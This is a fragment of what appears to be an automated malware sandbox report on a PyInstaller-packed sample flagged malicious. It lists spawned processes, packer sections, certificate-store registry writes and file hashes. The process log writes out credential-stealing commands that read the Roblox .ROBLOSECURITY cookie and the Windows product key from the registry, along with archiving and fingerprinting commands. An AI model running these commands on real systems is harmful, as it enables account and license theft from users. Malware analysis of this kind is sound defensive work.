00000000-00003024) Spawned process "cmd.exe" with commandline "/c "tree /A /F"" (UID: 00000000-00001572) Spawned process "tree.com" with commandline "tree /A /F" (UID: 00000000-00007604) Spawned process "cmd.exe" with commandline "/c "tree /A /F"" (UID: 00000000-00003840) Spawned process "tree.com" with commandline "tree /A /F" (UID: 00000000-00003808) Spawned process "cmd.exe" with commandline "/c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\\Roblox\\RobloxStudioBrowser\\roblox.com -Name .ROBLOSECURITY"" (UID: 00000000-00007444) Spawned process "powershell.exe" with commandline "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\\Roblox\\RobloxStudioBrowser\\roblox.com -Name .ROBLOSECURITY" (UID: 00000000-00008096) Spawned process "cmd.exe" with commandline "/c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\\Roblox\\RobloxStudioBrowser\\roblox.com -Name .ROBLOSECURITY"" (UID: 00000000-00003744) Spawned process "powershell.exe" with commandline "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\\Roblox\\RobloxStudioBrowser\\roblox.com -Name .ROBLOSECURITY" (UID: 00000000-00001548) Spawned process "cmd.exe" with commandline "/c "%TEMP%\\_MEI50282\\rar.exe a -r -hpblank "%TEMP%\\mXgY8.zip" *"" (UID: 00000000-00004888) Spawned process "rar.exe" with commandline "a -r -hpblank "%TEMP%\\mXgY8.zip" *" (UID: 00000000-00008056) Spawned process "cmd.exe" with commandline "/c "wmic os get Caption"" (UID: 00000000-00005372) Spawned process "WMIC.exe" with commandline "wmic os get Caption" (UID: 00000000-00001088) Spawned process "cmd.exe" with commandline "/c "wmic computersystem get totalphysicalmemory"" (UID: 00000000-00003848) Spawned process "WMIC.exe" with commandline "wmic computersystem get totalphysicalmemory" (UID: 00000000-00003852) Spawned process "WMIC.exe" with commandline "wmic csproduct get uuid" (UID: 00000000-00007680) Spawned process "cmd.exe" with commandline "/c "powershell Get-ItemPropertyValue -Path 'HKLM:System\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name PROCESSOR_IDENTIFIER"" (UID: 00000000-00006388) Spawned process "powershell.exe" with commandline "powershell Get-ItemPropertyValue -Path 'HKLM:System\\CurrentControlSet\\Control\\Session Manager\\Environment' -Name PROCESSOR_IDENTIFIER" (UID: 00000000-00005624) Spawned process "cmd.exe" with commandline "/c "wmic path win32_VideoController get name"" (UID: 00000000-00007200) Spawned process "WMIC.exe" with commandline "wmic path win32_VideoController get name" (UID: 00000000-00007872) Spawned process "cmd.exe" with commandline "/c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"" (UID: 00000000-00004560) Spawned process "powershell.exe" with commandline "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SoftwareProtectionPlatform' -Name BackupProductKeyDefault" (UID: 00000000-00005616)7e:T63e,Section "UPX0" has zero raw size but 3133440 bytes virtual size possible runtime unpacking/injection Section "UPX0" has zero raw size but 2441216 bytes virtual size possible runtime unpacking/injection Section ".tls" has very low entropy (0.02) indicating potential NOP sled Section "UPX0" has zero raw size but 892928 bytes virtual size possible runtime unpacking/injection Section "UPX0" has zero raw size but 548864 bytes virtual size possible runtime unpacking/injection Section "UPX0" has zero raw size but 36864 bytes virtual size possible runtime unpacking/injection Section "UPX0" has zero raw size but 856064 bytes virtual size possible runtime unpacking/injection Section "UPX0" has zero raw size but 167936 bytes virtual size possible runtime unpacking/injection Section "UPX0" has zero raw size but 102400 bytes virtual size possible runtime unpacking/injection Section "UPX0" has zero raw size but 131072 bytes virtual size possible runtime unpacking/injection Section "UPX0" has zero raw size but 94208 bytes virtual size possible runtime unpacking/injection Section "UPX0" has zero raw size but 81920 bytes virtual size possible runtime unpacking/injection Section "UPX0" has zero raw size but 57344 bytes virtual size possible runtime unpacking/injection Section "UPX0" has zero raw size but 65536 bytes virtual size possible runtime unpacking/injection Section "UPX0" has zero raw size but 53248 bytes virtual size possible runtime unpacking/injection Section "UPX0" has zero raw size but 32768 bytes virtual size possible runtime unpacking/injection7f:T42d,"python310.dll" has a section named "UPX0" "python310.dll" has a section named "UPX1" "libcrypto-1_1.dll" has a section named "UPX0" "libcrypto-1_1.dll" has a section named "UPX1" "sqlite3.dll" has a section named "UPX0" "sqlite3.dll" has a section named "UPX1" "libssl-1_1.dll" has a section named "UPX0" "libssl-1_1.dll" has a section named "UPX1" "libffi-7.dll" has a section named "UPX0" "libffi-7.dll" has a section named "UPX1" "libffi-7.dll" has a section named "UPX2" "unicodedata.pyd" has a section named "UPX0" "unicodedata.pyd" has a section named "UPX1" "_decimal.pyd" has a section named "UPX0" "_decimal.pyd" has a section named "UPX1" "_lzma.pyd" has a section named "UPX0" "_lzma.pyd" has a section named "UPX1" "_ssl.pyd" has a section named "UPX0" "_ssl.pyd" has a section named "UPX1" "_ctypes.pyd" has a section named "UPX0" "_ctypes.pyd" has a section named "UPX1" "_sqlite3.pyd" has a section named "UPX0" "_sqlite3.pyd" has a section named "UPX1" "_bz2.pyd" has a section named "UPX0" "_bz2.pyd" has a section named "UPX1"80:T4285,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIlmQYJKoZIhvcNAQcCoIIlijCCJYYCAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCAKi/54AHWcDKN7MMgzW+Je4GnjudtlwpnXzX+Iejz1QKCCC1MwggTgMIIDyKADAgECAhMzAAAKdX" "cchString": "13242" "dwFlags": "1" "pbBinary": "3082259906092a864886f70d010702a082258a30822586020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d0609608648016503040201050004200a8bfe7800759c0ca37b30c8335be25ee069e3b9db65c299d7cd7f887a3cf540a0820b53308204e0308203c8a00302010202133300000a757deb19b9225df12b000000000a75300d06092a864886f70d01010b05003079310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312330210603550403131a4d6963726f736f66742057696e646f7773205043412032303130301e170d3233303231363139303034365a170d3234303133313139303034365a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f777330820122300d06092a864886f70d01010105000382010f003082010a0282010100a6f16b323d2045121cf15652015f37fba09f3421ef146367e03c4e3411f7bdedf9fb98ca373f2af8cd6bf8077986e6d7ccb5ae9f50bc02e05b8da60107067b4f5cea72087a495d822081f7f660e9652ad74fe233e2d24b9e0ef8a6ffeba10551d5bd04c97ee1b51e11bab4043d4ecdbe42dacc314caf2ee453d4cb7a740369f57276765b213c047420ccaf56bfc1e54c6bbec0418c677d9f054974668c384717e06635252d1657e99dfaf293799061fa4025f15736d69d85913aa682a9414802c0859bd6822b1a45244841cdf7d0429e4eea8cf08b2ba67fb9b10f24841cc06a298e16d62ed43be7634ab666f08270872bdd3dfdbb2ab5e0df3ccda977d300ad0203010001a382016830820164301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e04160414be25173e2b251eea46eaac3ee812e47402198e0a30450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d3233303032382b353030313839301f0603551d23041830168014d14fa98a0708cef4241898e500fff3d6791d37bc30530603551d1f044c304a3048a046a0448642687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d69635769" "pcbBinary": "9d250000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIlmQYJKoZIhvcNAQcCoIIlijCCJYYCAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG" "cchString": "13242" "dwFlags": "1" "pbBinary": "3082259906092a864886f70d010702a082258a30822586020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d0609608648016503040201050004200a8bfe7800759c0ca37b30c8335be25ee069e3b9db65c299d7cd7f887a3cf540a0820b53308204e0308203c8a00302010202133300000a757deb19b9225df12b000000000a75300d06092a864886f70d01010b05003079310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312330210603550403131a4d6963726f736f66742057696e646f7773205043412032303130301e170d3233303231363139303034365a170d3234303133313139303034365a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f777330820122300d06092a864886f70d01010105000382010f003082010a0282010100a6f16b323d2045121cf15652015f37fba09f3421ef146367e03c4e3411f7bdedf9fb98ca373f2af8cd6bf8077986e6d7ccb5ae9f50bc02e05b8da60107067b4f5cea72087a495d822081f7f660e9652ad74fe233e2d24b9e0ef8a6ffeba10551d5bd04c97ee1b51e11bab4043d4ecdbe42dacc314caf2ee453d4cb7a740369f57276765b213c047420ccaf56bfc1e54c6bbec0418c677d9f054974668c384717e06635252d1657e99dfaf293799061fa4025f15736d69d85913aa682a9414802c0859bd6822b1a45244841cdf7d0429e4eea8cf08b2ba67fb9b10f24841cc06a298e16d62ed43be7634ab666f08270872bdd3dfdbb2ab5e0df3ccda977d300ad0203010001a382016830820164301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e04160414be25173e2b251eea46eaac3ee812e47402198e0a30450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d3233303032382b353030313839301f0603551d23041830168014d14fa98a0708cef4241898e500fff3d6791d37bc30530603551d1f044c304a3048a046a0448642687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d69635769" "pcbBinary": "9d250000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIlqAYJKoZIhvcNAQcCoIIlmTCCJZUCAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCCCGKubREngV5EFDodK5brTAqlkaVHav/M+SkqGWqFKKqCCC2IwggTvMIID16ADAgECAhMzAAAKc/" "cchString": "13262" "dwFlags": "1" "pbBinary": "308225a806092a864886f70d010702a082259930822595020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d0609608648016503040201050004208218ab9b4449e05791050e874ae5bad302a9646951dabff33e4a4a865aa14a2aa0820b62308204ef308203d7a00302010202133300000a73f154098656107847000000000a73300d06092a864886f70d01010b05003079310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312330210603550403131a4d6963726f736f66742057696e646f7773205043412032303130301e170d3233303231363139303034345a170d3234303133313139303034345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f777330820122300d06092a864886f70d01010105000382010f003082010a0282010100b4ce74c0cad1188cdf8838138bcd067e336adbab396df6edbff6c9c16fd5f86077fa4301be71c2c88fcc329f4fa51cb6a0907c36910f619f29978492eff9f569325132362806c80987d2b33572bb10a144e819aab6526dbc3a1526f42471a861a5eabbe6675438e44c6f02aebf804d09524989c8fa511d9b8921d99c787d031340027828fd8ed86d76bb4db0308641c8efa99874b125e2bb0c57fe982f73c98710921faa12bde5d4eed02573eea92138233578f53c80e59b0b5ecd029b6a19ea6cd2fe5e7c4132ad8bf3c5e7b9d9f50eed1da2b7c26d5c3b89d6bf57ed30cb04f9528f865e8d6312f597a5bc64abbfdf14c89cda8a789a43cd71006c51fbe05d0203010001a382017730820173301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e04160414ad470300e97fa66722d1a34941c284c5a321ce6430540603551d11044d304ba4493047312d302b060355040b13244d6963726f736f6674204972656c616e64204f7065726174696f6e73204c696d69746564311630140603550405130d3233303032382b353030313931301f0603551d23041830168014d14fa98a0708cef4241898e500fff3d6791d37bc30530603551d1f044c304a3048a046a0448642687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c" "pcbBinary": "ac250000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIlqAYJKoZIhvcNAQcCoIIlmTCCJZUCAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG" "cchString": "13262" "dwFlags": "1" "pbBinary": "308225a806092a864886f70d010702a082259930822595020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d0609608648016503040201050004208218ab9b4449e05791050e874ae5bad302a9646951dabff33e4a4a865aa14a2aa0820b62308204ef308203d7a00302010202133300000a73f154098656107847000000000a73300d06092a864886f70d01010b05003079310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312330210603550403131a4d6963726f736f66742057696e646f7773205043412032303130301e170d3233303231363139303034345a170d3234303133313139303034345a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f777330820122300d06092a864886f70d01010105000382010f003082010a0282010100b4ce74c0cad1188cdf8838138bcd067e336adbab396df6edbff6c9c16fd5f86077fa4301be71c2c88fcc329f4fa51cb6a0907c36910f619f29978492eff9f569325132362806c80987d2b33572bb10a144e819aab6526dbc3a1526f42471a861a5eabbe6675438e44c6f02aebf804d09524989c8fa511d9b8921d99c787d031340027828fd8ed86d76bb4db0308641c8efa99874b125e2bb0c57fe982f73c98710921faa12bde5d4eed02573eea92138233578f53c80e59b0b5ecd029b6a19ea6cd2fe5e7c4132ad8bf3c5e7b9d9f50eed1da2b7c26d5c3b89d6bf57ed30cb04f9528f865e8d6312f597a5bc64abbfdf14c89cda8a789a43cd71006c51fbe05d0203010001a382017730820173301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e04160414ad470300e97fa66722d1a34941c284c5a321ce6430540603551d11044d304ba4493047312d302b060355040b13244d6963726f736f6674204972656c616e64204f7065726174696f6e73204c696d69746564311630140603550405130d3233303032382b353030313931301f0603551d23041830168014d14fa98a0708cef4241898e500fff3d6791d37bc30530603551d1f044c304a3048a046a0448642687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c" "pcbBinary": "ac250000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIlmgYJKoZIhvcNAQcCoIIlizCCJYcCAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCCuweDGBKLLkpvRIfNHqlHxBvX6u7A8kK+C53oBAy+VdKCCC1MwggTgMIIDyKADAgECAhMzAAAKdX" "cchString": "13242" "dwFlags": "1" "pbBinary": "3082259a06092a864886f70d010702a082258b30822587020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420aec1e0c604a2cb929bd121f347aa51f106f5fabbb03c90af82e77a01032f9574a0820b53308204e0308203c8a00302010202133300000a757deb19b9225df12b000000000a75300d06092a864886f70d01010b05003079310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312330210603550403131a4d6963726f736f66742057696e646f7773205043412032303130301e170d3233303231363139303034365a170d3234303133313139303034365a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f777330820122300d06092a864886f70d01010105000382010f003082010a0282010100a6f16b323d2045121cf15652015f37fba09f3421ef146367e03c4e3411f7bdedf9fb98ca373f2af8cd6bf8077986e6d7ccb5ae9f50bc02e05b8da60107067b4f5cea72087a495d822081f7f660e9652ad74fe233e2d24b9e0ef8a6ffeba10551d5bd04c97ee1b51e11bab4043d4ecdbe42dacc314caf2ee453d4cb7a740369f57276765b213c047420ccaf56bfc1e54c6bbec0418c677d9f054974668c384717e06635252d1657e99dfaf293799061fa4025f15736d69d85913aa682a9414802c0859bd6822b1a45244841cdf7d0429e4eea8cf08b2ba67fb9b10f24841cc06a298e16d62ed43be7634ab666f08270872bdd3dfdbb2ab5e0df3ccda977d300ad0203010001a382016830820164301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e04160414be25173e2b251eea46eaac3ee812e47402198e0a30450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d3233303032382b353030313839301f0603551d23041830168014d14fa98a0708cef4241898e500fff3d6791d37bc30530603551d1f044c304a3048a046a0448642687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d69635769" "pcbBinary": "9e250000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIlmgYJKoZIhvcNAQcCoIIlizCCJYcCAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG" "cchString": "13242" "dwFlags": "1" "pbBinary": "3082259a06092a864886f70d010702a082258b30822587020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420aec1e0c604a2cb929bd121f347aa51f106f5fabbb03c90af82e77a01032f9574a0820b53308204e0308203c8a00302010202133300000a757deb19b9225df12b000000000a75300d06092a864886f70d01010b05003079310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312330210603550403131a4d6963726f736f66742057696e646f7773205043412032303130301e170d3233303231363139303034365a170d3234303133313139303034365a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f777330820122300d06092a864886f70d01010105000382010f003082010a0282010100a6f16b323d2045121cf15652015f37fba09f3421ef146367e03c4e3411f7bdedf9fb98ca373f2af8cd6bf8077986e6d7ccb5ae9f50bc02e05b8da60107067b4f5cea72087a495d822081f7f660e9652ad74fe233e2d24b9e0ef8a6ffeba10551d5bd04c97ee1b51e11bab4043d4ecdbe42dacc314caf2ee453d4cb7a740369f57276765b213c047420ccaf56bfc1e54c6bbec0418c677d9f054974668c384717e06635252d1657e99dfaf293799061fa4025f15736d69d85913aa682a9414802c0859bd6822b1a45244841cdf7d0429e4eea8cf08b2ba67fb9b10f24841cc06a298e16d62ed43be7634ab666f08270872bdd3dfdbb2ab5e0df3ccda977d300ad0203010001a382016830820164301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e04160414be25173e2b251eea46eaac3ee812e47402198e0a30450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d3233303032382b353030313839301f0603551d23041830168014d14fa98a0708cef4241898e500fff3d6791d37bc30530603551d1f044c304a3048a046a0448642687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d69635769" "pcbBinary": "9e250000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIlmQYJKoZIhvcNAQcCoIIlijCCJYYCAQExDzANBglghkgBZQMEAgEFADB5BgorBgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLGKX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCD1Ic9VXSKRHe3vJHTviA7n2oanD+d84ekkYUUIWGAvN6CCC1MwggTgMIIDyKADAgECAhMzAAAKdX" "cchString": "13242" "dwFlags": "1" "pbBinary": "3082259906092a864886f70d010702a082258a30822586020101310f300d060960864801650304020105003079060a2b060104018237020104a06b30693034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003031300d060960864801650304020105000420f521cf555d22911dedef2474ef880ee7da86a70fe77ce1e92461450858602f37a0820b53308204e0308203c8a00302010202133300000a757deb19b9225df12b000000000a75300d06092a864886f70d01010b05003079310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312330210603550403131a4d6963726f736f66742057696e646f7773205043412032303130301e170d3233303231363139303034365a170d3234303133313139303034365a3070310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e311a3018060355040313114d6963726f736f66742057696e646f777330820122300d06092a864886f70d01010105000382010f003082010a0282010100a6f16b323d2045121cf15652015f37fba09f3421ef146367e03c4e3411f7bdedf9fb98ca373f2af8cd6bf8077986e6d7ccb5ae9f50bc02e05b8da60107067b4f5cea72087a495d822081f7f660e9652ad74fe233e2d24b9e0ef8a6ffeba10551d5bd04c97ee1b51e11bab4043d4ecdbe42dacc314caf2ee453d4cb7a740369f57276765b213c047420ccaf56bfc1e54c6bbec0418c677d9f054974668c384717e06635252d1657e99dfaf293799061fa4025f15736d69d85913aa682a9414802c0859bd6822b1a45244841cdf7d0429e4eea8cf08b2ba67fb9b10f24841cc06a298e16d62ed43be7634ab666f08270872bdd3dfdbb2ab5e0df3ccda977d300ad0203010001a382016830820164301f0603551d2504183016060a2b0601040182370a030606082b06010505070303301d0603551d0e04160414be25173e2b251eea46eaac3ee812e47402198e0a30450603551d11043e303ca43a3038311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e311630140603550405130d3233303032382b353030313839301f0603551d23041830168014d14fa98a0708cef4241898e500fff3d6791d37bc30530603551d1f044c304a3048a046a0448642687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d69635769" "pcbBinary": "9d250000" "pdwFlags": "01000000"}81:Tb61,"powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1792088524604,"unified_at":"2026-10-15T18:22:04.604Z","metadata":{"hashes":{"sha256":"8b5eba6961642074384f1fbaa1f936cfbc3a5426df129ca85354243bfde048bb","sha1":"af9f48abeefe94640a728db7545a7a27d7f9fc8b","md5":"68fd8ef08845e30e5433b0a3d5f12616","sha512":"0b660e0619b09742d15ed257b1ce0446e085f5383833a687cad9c63703cb18d9145b2ae43c60062d90f6cf44e8e985ae4985b4a1b5ba288f5bce714b261d70b8","ssdeep":"98304:CUDrBV5NamaHl3Ne4i3A7tfXJOLhx9fZAzDJ4YzNgsRuGKyRqUrvK1WMEF:CUvaeNyFJMIDJpJgsAGKyR/IWMu","ssdeep_chunks":["98304:CUDrBV5","98304:UDrBV5N","98304:DrBV5Na","98304:rBV5Nam","98304:BV5Nama","98304:V5NamaH","98304:5NamaHl","98304:NamaHl3","98304:amaHl3N","98304:maHl3Ne","98304:aHl3Ne4","98304:Hl3Ne4i","98304:l3Ne4i3","98304:3Ne4i3A","98304:Ne4i3A7","98304:e4i3A7t","98304:4i3A7tf","98304:i3A7tfX","98304:3A7tfXJ","98304:A7tfXJO","98304:7tfXJOL","98304:tfXJOLh","98304:fXJOLhx","98304:XJOLhx9","98304:JOLhx9f","98304:OLhx9fZ","98304:Lhx9fZA","98304:hx9fZAz","98304:x9fZAzD","98304:9fZAzDJ","98304:fZAzDJ4","98304:ZAzDJ4Y","98304:AzDJ4Yz","98304:zDJ4YzN","98304:DJ4YzNg","98304:J4YzNgs","98304:4YzNgsR","98304:YzNgsRu","98304:zNgsRuG","98304:NgsRuGK","98304:gsRuGKy","98304:sRuGKyR","98304:RuGKyRq","98304:uGKyRqU","98304:GKyRqUr","98304:KyRqUrv","98304:yRqUrvK","98304:RqUrvK1","98304:qUrvK1W","98304:UrvK1WM","98304:rvK1WME","98304:vK1WMEF","196608:CUDrBV5","1